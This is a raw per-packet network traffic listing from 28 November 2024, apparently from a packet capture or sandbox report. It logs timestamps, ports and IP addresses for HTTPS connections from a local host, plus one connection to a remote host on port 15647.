Nov 28, 2024 09:53:13.100642920 CET	49758	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.105035067 CET	443	49756	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.160551071 CET	49756	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.160583973 CET	443	49756	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.161489010 CET	49756	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.161503077 CET	443	49756	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.161746979 CET	49757	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.161777020 CET	443	49757	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.162125111 CET	49757	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.162131071 CET	443	49757	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.162334919 CET	49758	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.162345886 CET	443	49758	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.162676096 CET	49758	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.162682056 CET	443	49758	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.162899017 CET	49754	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.162925005 CET	443	49754	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.163244963 CET	49754	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.163249969 CET	443	49754	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.411142111 CET	443	49755	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.411217928 CET	443	49755	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.411298990 CET	49755	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.411861897 CET	49755	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.411887884 CET	443	49755	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.411900043 CET	49755	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.411906958 CET	443	49755	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.417053938 CET	49759	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.417093039 CET	443	49759	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.417177916 CET	49759	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.417337894 CET	49759	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.417350054 CET	443	49759	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.478388071 CET	443	49758	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.478400946 CET	443	49757	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.478452921 CET	443	49758	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.478462934 CET	443	49757	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.478523016 CET	49758	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.478538036 CET	49757	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.478830099 CET	49758	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.478854895 CET	443	49758	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.478866100 CET	49758	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.478872061 CET	443	49758	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.480190039 CET	49757	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.480204105 CET	443	49757	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.480225086 CET	49757	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.480231047 CET	443	49757	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.485876083 CET	49760	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.485929012 CET	443	49760	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.486042976 CET	49760	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.486593008 CET	49760	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.486618042 CET	443	49760	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.487986088 CET	49761	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.488022089 CET	443	49761	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.488224983 CET	49761	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.488409042 CET	49761	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.488420010 CET	443	49761	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.530517101 CET	443	49754	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.530587912 CET	443	49754	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.530649900 CET	49754	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.531078100 CET	49754	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.531094074 CET	443	49754	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.531105042 CET	49754	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.531110048 CET	443	49754	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.536171913 CET	49762	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.536231995 CET	443	49762	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.536320925 CET	49762	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.536600113 CET	49762	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.536623955 CET	443	49762	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.812165022 CET	443	49756	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.812231064 CET	443	49756	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.812288046 CET	49756	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.818711042 CET	49756	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.818747997 CET	443	49756	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.818761110 CET	49756	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.818768024 CET	443	49756	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.824103117 CET	49763	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.824151993 CET	443	49763	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.824215889 CET	49763	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.824418068 CET	49763	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.824429989 CET	443	49763	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.005390882 CET	49724	80	192.168.2.4	199.232.214.172
Nov 28, 2024 09:53:15.125715971 CET	80	49724	199.232.214.172	192.168.2.4
Nov 28, 2024 09:53:15.125797033 CET	49724	80	192.168.2.4	199.232.214.172
Nov 28, 2024 09:53:15.198297024 CET	443	49759	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.198945045 CET	49759	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:15.198982000 CET	443	49759	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.199480057 CET	49759	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:15.199487925 CET	443	49759	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.252548933 CET	443	49762	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.253180981 CET	49762	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:15.253205061 CET	443	49762	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.253614902 CET	49762	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:15.253623962 CET	443	49762	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.266160965 CET	443	49760	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.266908884 CET	49760	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:15.266933918 CET	443	49760	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.267261028 CET	49760	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:15.267268896 CET	443	49760	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.268795013 CET	443	49761	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.269231081 CET	49761	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:15.269257069 CET	443	49761	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.269679070 CET	49761	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:15.269691944 CET	443	49761	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.642524004 CET	443	49759	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.642601967 CET	443	49759	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.642714977 CET	49759	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:15.671564102 CET	443	49763	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.687942982 CET	443	49762	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.688019991 CET	443	49762	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.688112974 CET	49762	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:15.711613894 CET	443	49760	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.711694002 CET	443	49760	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.711793900 CET	49760	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:15.712166071 CET	49759	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:15.712189913 CET	443	49759	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.712205887 CET	49759	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:15.712213039 CET	443	49759	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.713521957 CET	443	49761	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.713582993 CET	443	49761	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.713628054 CET	49761	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:15.720468044 CET	49760	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:15.720498085 CET	443	49760	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.720642090 CET	49760	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:15.720649958 CET	443	49760	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.723774910 CET	49763	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:15.725182056 CET	49761	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:15.725210905 CET	443	49761	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.725228071 CET	49761	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:15.725234985 CET	443	49761	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.751451015 CET	49763	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:15.751472950 CET	443	49763	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.751872063 CET	49763	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:15.751880884 CET	443	49763	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.761303902 CET	49762	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:15.761329889 CET	443	49762	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:15.761343002 CET	49762	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:15.761349916 CET	443	49762	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:16.027692080 CET	49764	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:16.027750969 CET	443	49764	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:16.027818918 CET	49764	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:16.028717041 CET	49765	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:16.028764963 CET	443	49765	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:16.028822899 CET	49765	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:16.034463882 CET	49766	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:16.034483910 CET	443	49766	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:16.034544945 CET	49766	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:16.035175085 CET	49767	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:16.035185099 CET	443	49767	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:16.035235882 CET	49767	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:16.035536051 CET	49767	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:16.035552025 CET	443	49767	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:16.036740065 CET	49765	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:16.036753893 CET	443	49765	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:16.037878036 CET	49766	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:16.037893057 CET	443	49766	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:16.037906885 CET	49764	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:16.037921906 CET	443	49764	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:16.127518892 CET	443	49763	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:16.127582073 CET	443	49763	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:16.127628088 CET	49763	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:16.127849102 CET	49763	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:16.127863884 CET	443	49763	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:16.127873898 CET	49763	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:16.127878904 CET	443	49763	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:16.132158995 CET	49768	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:16.132198095 CET	443	49768	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:16.132258892 CET	49768	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:16.132539988 CET	49768	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:16.132553101 CET	443	49768	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:17.756262064 CET	443	49765	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:17.758095980 CET	49765	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:17.758120060 CET	443	49765	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:17.758608103 CET	49765	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:17.758613110 CET	443	49765	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:17.772742987 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:17.816672087 CET	443	49764	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:17.817207098 CET	443	49766	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:17.817298889 CET	49764	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:17.817317009 CET	443	49764	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:17.818614006 CET	49764	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:17.818619013 CET	443	49764	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:17.818916082 CET	49766	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:17.818923950 CET	443	49766	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:17.819405079 CET	49766	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:17.819408894 CET	443	49766	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:17.880944967 CET	443	49767	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:17.881680965 CET	49767	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:17.881697893 CET	443	49767	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:17.882074118 CET	49767	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:17.882078886 CET	443	49767	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:17.892721891 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:17.892829895 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:17.968847036 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:17.977217913 CET	443	49768	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:17.977767944 CET	49768	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:17.977797031 CET	443	49768	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:17.978260994 CET	49768	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:17.978265047 CET	443	49768	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.088808060 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:18.088879108 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:18.191361904 CET	443	49765	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.191464901 CET	443	49765	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.191553116 CET	49765	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.193380117 CET	49765	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.193399906 CET	443	49765	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.193411112 CET	49765	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.193417072 CET	443	49765	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.208825111 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:18.208921909 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:18.241046906 CET	49770	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.241086960 CET	443	49770	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.241168976 CET	49770	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.260502100 CET	443	49764	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.260586977 CET	443	49764	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.260674000 CET	49764	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.261286974 CET	443	49766	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.261348963 CET	443	49766	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.261429071 CET	49766	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.261858940 CET	49770	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.261873960 CET	443	49770	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.262310982 CET	49764	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.262337923 CET	443	49764	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.262350082 CET	49764	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.262356043 CET	443	49764	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.264841080 CET	49771	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.264882088 CET	443	49771	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.264951944 CET	49771	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.265077114 CET	49771	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.265089989 CET	443	49771	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.265255928 CET	49766	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.265264034 CET	443	49766	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.265274048 CET	49766	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.265279055 CET	443	49766	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.294723034 CET	49772	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.294792891 CET	443	49772	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.294862986 CET	49772	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.295274019 CET	49772	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.295293093 CET	443	49772	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.328888893 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:18.334203005 CET	443	49767	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.334269047 CET	443	49767	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.334371090 CET	49767	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.395879984 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:18.396961927 CET	49767	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.396991968 CET	443	49767	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.397006035 CET	49767	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.397012949 CET	443	49767	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.430521965 CET	443	49768	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.430587053 CET	443	49768	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.430685997 CET	49768	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.515861034 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:18.553502083 CET	49768	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.553536892 CET	443	49768	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.553551912 CET	49768	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.553559065 CET	443	49768	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.570295095 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:18.585321903 CET	49773	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.585357904 CET	443	49773	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.585447073 CET	49773	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.598576069 CET	49774	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.598625898 CET	443	49774	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.598696947 CET	49774	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.599185944 CET	49773	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.599206924 CET	443	49773	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.661700010 CET	49774	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:18.661735058 CET	443	49774	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:18.691057920 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:18.691167116 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:18.811894894 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:18.811978102 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:18.931862116 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:18.931926012 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:19.051908970 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:19.052059889 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:19.172015905 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:19.172086954 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:19.181227922 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:19.223758936 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:19.332256079 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:19.332309961 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:19.452389956 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:19.452464104 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:19.572485924 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:19.574791908 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:19.695049047 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:19.697282076 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:19.817334890 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:19.817567110 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:19.937608004 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:19.940691948 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:20.047144890 CET	443	49770	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.047909975 CET	49770	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.047943115 CET	443	49770	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.048500061 CET	443	49771	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.048796892 CET	49770	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.048801899 CET	443	49770	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.049254894 CET	49771	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.049278021 CET	443	49771	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.049669027 CET	49771	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.049674988 CET	443	49771	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.060781002 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:20.064673901 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:20.075414896 CET	443	49772	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.077167034 CET	49772	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.077203989 CET	443	49772	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.077635050 CET	49772	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.077641964 CET	443	49772	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.184700012 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:20.187244892 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:20.307255983 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:20.308702946 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:20.380690098 CET	443	49773	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.403247118 CET	49773	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.403275967 CET	443	49773	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.403729916 CET	49773	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.403737068 CET	443	49773	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.428782940 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:20.432689905 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:20.449743032 CET	443	49774	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.450575113 CET	49774	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.450613976 CET	443	49774	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.451066971 CET	49774	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.451073885 CET	443	49774	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.490756035 CET	443	49770	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.490817070 CET	443	49770	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.490951061 CET	49770	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.492082119 CET	443	49771	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.492172003 CET	443	49771	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.492255926 CET	49771	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.509380102 CET	49770	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.509421110 CET	443	49770	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.509438992 CET	49770	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.509449959 CET	443	49770	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.509613037 CET	49771	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.509634018 CET	443	49771	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.509645939 CET	49771	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.509658098 CET	443	49771	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.513438940 CET	49775	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.513468981 CET	443	49775	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.513544083 CET	49775	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.520155907 CET	443	49772	13.107.246.63	192.168.2.4
